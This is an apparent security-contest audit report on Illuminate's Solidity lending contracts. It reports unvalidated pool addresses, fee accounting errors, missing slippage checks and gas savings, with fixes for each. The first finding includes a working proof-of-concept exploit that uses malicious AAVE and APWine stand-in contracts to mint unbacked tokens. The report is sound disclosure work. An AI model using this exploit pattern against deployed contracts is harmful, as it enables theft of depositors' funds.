Illuminate contest - GalloDaSballo's results

Lines of code

https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/lender/Lender.sol#L545

Vulnerability details

User Provided aave and APYWine pool address allow attacker to mint infinite tokens

Function lend from Lender.sol, which is meant to integrate with AAVE and APYWine, takes User Provided arguments for the aave and the pool address.

In lack of verification a malicious attacker can provide their own contracts, which will return the amount of Illuminate Tokens to mint

The malicious AAVE contract can do nothing, while the Malicious pool just has to return an exorbitantly high return value to cause the Lender to mint a correspondingly (undercollateralized) amount of principalToken

This dilutes honest depositors and allows an attacker to run away with the underlying at the cost of 1 wei of collateral (as the malicious APYwine pool can return any value)

A "real transfer" of at least 1 wei of collaterla allows to bypass checks, while the unverified aave and pool allow us to return the mint amount

See POC and notice that because Lender is trusting the return value of pool which is not to be trusted, we are able to mint as many tokens as we want.

Note that while the POC uses the names of the contract I wrote, any contract that matches the interfaces you provided will be usable in the exploit

Executable POC

Explanation should be fairly straightforward, however see below for a full POC. Just fork the following https://github.com/0xKitsune/gas-lab And copy paste the code below into the test file GasTest.t.sol

Changing the require allows you to verify that we would be able to mint as many tokens as returned by the malicious contract, allowing to dilute every honest depositor for 99.99% (periodic) value

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "../../lib/test.sol";
import "../../lib/Console.sol";
import {RewardsManager} from "../RewardsFlat.sol"; 

contract ExploitTest is DSTest {
    VulnerableLendDemo c0;
    MaliciousAAVE aave;
    MaliciousAPYWINE wine;

    address any = 0x0350d10Cd98fb22D3da1D1495B15b40E5f0309D6;

    function setUp() public {
        c0 = new VulnerableLendDemo();
        aave = new MaliciousAAVE();
        wine = new MaliciousAPYWINE();
    }

    function testGas() public {
        c0.lend(1, any, 123, 123, 123, address(wine), address(aave), 1);

        require(c0.totalMinted() > 0);
        require(c0.totalMinted() == 123123123123123123);
    }


}

contract VulnerableLendDemo {
  uint256 public totalMinted; // Demo to show we can get free tokens
  function lend(
        uint8 p,
        address u,
        uint256 m,
        uint256 a,
        uint256 r,
        address pool,
        address aave,
        uint256 i
    ) public returns (uint256) {
        // In real attack we will have to provide at least 1 wei of the valid token

        // Dont necessarily need to validate APWINE maturity (They have 1 maturity per underlying)
        // Potentially add redundant implied maturity calculation

        // Transfer funds from user to Illuminate
        // Safe.transferFrom(IERC20(u), msg.sender, address(this), a);

        // Assume we sent 1 wei of token
        uint256 lent = 1;

        // Deposit into aave
        // aave is the address we specify
        MaliciousAAVE(aave).deposit(u, lent, address(this), 0);

        // Swap on the APWine Pool using the provided market and params
        uint256 returned = MaliciousAPYWINE(pool).swapExactAmountIn(i, 1, lent, 0, r, address(this));

        // Mint Illuminate zero coupons
        // IERC5095(principalToken(u, m)).mint(msg.sender, returned);
        // Increase counter as POC of tokens stolen
        totalMinted += returned;

        return returned;
    }
}

contract MaliciousAAVE {
  function deposit(address token, uint256 amount, address onBehalfOf, uint256 referralCode) external{
    // Do nothing, the deposit token must remain in Lender.sol as we don't have allowance as we're using malicious address
  }
}

contract MaliciousAPYWINE {
  function swapExactAmountIn(uint256 input, uint256 additional, uint256 amount, uint256 minOut, uint256 anotherValue, address to) external returns (uint256) {
    // Do nothing, except return a huge amount so we get Illuminate tokens / dilute the other depositors

    // Actual exploiter could use uint max - current supply or a similarly exorbitant value
    return 123123123123123123;
  }
}

Suggested Remediation

aave and pool should not be user provided, they should be fetched similarly from Marketplace This will probably require either a one-off rewriting for this specific type of lending, or a rethinking in terms of how to store trusted lending pools / contracts

Aave deposit tokens aTokens are fully liquid so it may be worthwhile just using those as deposit tokens (avoid need for aave) and focus on making pool work like all other cases

The downside with this approach is that fees on storage will be smaller than the actual tokens in the contract, that said the base AAVE apy is really small and this may be an acceptable trade-off

Lines of code

https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/lender/Lender.sol#L116-L118

Vulnerability details

https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/lender/Lender.sol#L116-L118

            if (address(0) != (address(uToken))) {
                Safe.approve(uToken, a[i], max);
            }

The system seems to rely on admin being able to set specific tokens, and then giving those tokens infinite approval via Lender.approve this means that the admin of the system has the ability of approving malicious tokens with the goal of stealing user funds.

Under the current architecture, in lack of a registry for each protocol being integrated with, I don't believe a "easy" solution to be available.

My recommendation is to make it very clear for end users about this potential risk, as well as putting a 1/3 day timelock behind these operations to give plenty of time for end users to verify that configuration is properly set.

Lines of code

https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/lender/Lender.sol#L641-L654

Vulnerability details

The function lend is calculating the total sum of tokens lent to swivel, as well as summing up the fees totalFee

https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/lender/Lender.sol#L278-L297

                    // Track accumulated fees
                    totalFee += fee;
                    // Amount lent for this order
                    uint256 amountLent = amount - fee;
                    // Sum the total amount lent to Swivel (amount of ERC5095 tokens to mint) minus fees
                    lent += amountLent;
                    // Sum the total amount of premium paid from Swivel (amount of underlying to lend to yield)
                    returned += amountLent * order.premium / order.principal;
                }

                unchecked {
                    i++;
                }
            }
      
            // Track accumulated fee
            fees[u] += totalFee;

            // transfer underlying tokens from user to illuminate
            Safe.transferFrom(IERC20(u), msg.sender, address(this), lent);

However, when it comes to transferring in the underlying, only lent is transferred in.

Meaning that the contract will account for fees it didn't receive, breaking fees accounting for that token as well as unfairly making minting of the principal cheaper via this function call

Mitigation steps

Transfer in lent + totalFee

Change

Safe.transferFrom(IERC20(u), msg.sender, address(this), lent);

To

Safe.transferFrom(IERC20(u), msg.sender, address(this), lent + totalFee);

Lines of code

https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/lender/Lender.sol#L641-L654

Vulnerability details

The function yield is using the input from sellBasePreview and then using it.

https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/lender/Lender.sol#L641-L654

    function yield(
        address u,
        address y,
        uint256 a,
        address r
    ) internal returns (uint256) {
        // preview exact swap slippage on yield
        uint128 returned = IYield(y).sellBasePreview(Cast.u128(a));

        // send the remaing amount to the given yield pool
        Safe.transfer(IERC20(u), y, a);

        // lend out the remaining tokens in the yield pool
        IYield(y).sellBase(r, returned);

The output of sellBasePreview is meant to be used off-chain to avoid front-running and price changes, additionally no validation is performed on this value (is it zero, is it less than 95% of amount) meaning the check is equivalent to setting returned = 0

I'd recommend to add checks, or ideally have a trusted keeper bulk sellBase with an additional slippage check as the function parameter

Executive Summary

Overall code quality is high, documentation is well written, the complain of variable naming is mostly invalid (and could be fixed by using the full names next to each natspec descriptor)

The codebase could benefit by a more aggressive use of reEntrancyGuards to avoid potential gotchas

Below are listed findings, in order of relevance

Suggestion - BlockWithdrawal can be executed by the same account that scheduled it.

    function blockWithdrawal(address e) external authorized(admin) returns (bool) {

In the spirit of an "emergency function to block unplanned withdrawals", it may be best to add a new account, called guardian to veto a withdrawal from blockWithdrawal

Low - withdrawFee will revert if any accounting error has happened

Because withdrawFee uses the storage variable, and doesn't compare against the balance available in the contract, if any accounting error happens (as shown in a separate finding), the fees will not be withdrawable.

It may be best to check against the available tokens and transfer those

	uint256 max = token.balanceOf(address(this));
	Safe.transfer(token, admin, balance >= max ? balance : max);

This finding becomes less important as the project matures, but given that you have pausability, and that I've sent a finding showing how to break fee accounting, I think this is a good idea just in case

Minor Refactorings

Non-Critical - Order of function parameters doesn't match order of usage / storage

function setPrincipal(uint8 p, address u, uint256 m, address a) external authorized(admin) returns (bool) {

markets[u][m][p] = a;

Inputs from the function are misaligned with storage inputs, it's typically a lot easier and cleaner to maintain code and functions where the input variables have the same sorting order as the storage variables

Non-Critical - Avoid Magic Numbers:

Can change 0x00000000000000000000000000000000000000000000000000000000000000 to a constant ZERO_BYTES to avoid Magic Values

Magic values can cause typos, and typically make the code harder to read than necessary

Usual Suspects

Low - Generic possible Reentrancy - Code doesn't comply with CEI pattern

Per CEI (Checks Effects Interactions), you'd want to perform a set of checks first, update state second and lastly perform external calls, however in Lender.lend fees are updated after the external calls.

I don't believe there's much risk in leaving these as they are, however it seems like a simple refactoring would just have you put the fees updates at the beginning of the function.

This applies to to all lend functions

https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/lender/Lender.sol#L328-L340

        // Transfer underlying token from user to illuminate
        Safe.transferFrom(IERC20(u), msg.sender, address(this), a);

        // Track the accumulated fees
        fees[u] += calculateFee(a);

Can be refactored to (swap the code blocks)

        // Track the accumulated fees
        fees[u] += calculateFee(a);

        // Transfer underlying token from user to illuminate
        Safe.transferFrom(IERC20(u), msg.sender, address(this), a);

Additional Instances:

• Lender:403
• Lender:L460
• Lender:L511
• Lender:569
• Lender:620

Low Severity - Lack of Zero Checks in Constructor

The constructors are missing zero-checks, these will potentially avoid re-deployments from the team and increase gas cost only at deploy time

Instances:

• Lender
• MarketPlace
• Redeemer

Non-Critical - Lack of Events on Setters

Per industry standard, you may want to emit an event on setter changes, this is helpful to develop theGraph integration as well as to track function calls

For Lender.sol:

• setAdmin
• setFee
• setMarketPlace
• setSwivel

For Marketplace.sol:

• setPrincipal
• setAdmin
• setPool

For Redeemer.sol:

• setAdmin
• setMarketplace
• setLender
• setSwivel

Non-Critical - Change to External:

Given the code in scope, in the folder for Lender, these functions are never called internally and could be changed to external:

• mint:167
• lend:192
• lend:247
• lend:317
• lend:377
• lend:433
• lend:486
• lend:545
• lend:597

Similarly for Redeemer

-redeem:107 -redeem:158 -redeem:206 -redeem:240 -authRedeem:275

Redeemer

Make the lender immutable - 2100 gas per SLOAD

While you seem to be forced to let the Marketplace be changeable, I believe you can set lender to immutable by:

• Deploy Lender
• Deploy Redeemer
• Deploy Marketplace

Saving you 2.1k gas for each time the redeem functions are called.

Avoiding storage is the biggest savings you can get so because you only allow to set those value once, using an additional immutable is probably the biggest savings you'll get from this contest.

Make apwineAddr immutable - 2100 gas per SLOAD

https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/redeemer/Redeemer.sol#L33-L34

There doesn't seem to be a setter, so making this immutable will save you 2.1k gas when read first

Safe

Functions with same code - reduces deployment cost

The functions in Safe.sol

• didLastOptionalReturnCallSucceed
• success have the same code, you can reduce deploy gas cost by using one of them in all functions.

Lender

Unnecessary Casting Leads to extra memory variable - 3 gas

Lender.sol#662

function withdrawFee(address e) external authorized(admin) returns (bool) {
    // Get the token to be withdrawn
    IERC20 token = IERC20(e);

The casting is causing to save token to memory, costing an additional 3 gas. changing to function withdrawFee(IERC20 e) or simply casting inline will avoid that MSTORE

Also on Lender.sol#606

        INotional token = INotional(IMarketPlace(marketPlace).markets(u, m, p));

Would save an extra MSTORE (3 gas)

# ERC5095

Unused named return variables - 3 gas per instance

Most functions in ERC5095.sol declare a named return variable, but they don't use it. This causes a memory allocation which costs an extra 3 gas

    function convertToUnderlying(uint256 principalAmount) external override view returns (uint256 underlyingAmount){

      // underlyingAmount is not used as the function returns another value

Additional instances: -convertToPrincipal -maxRedeem -previewRedeem -maxWithdraw -previewWithdraw -withdraw -redeem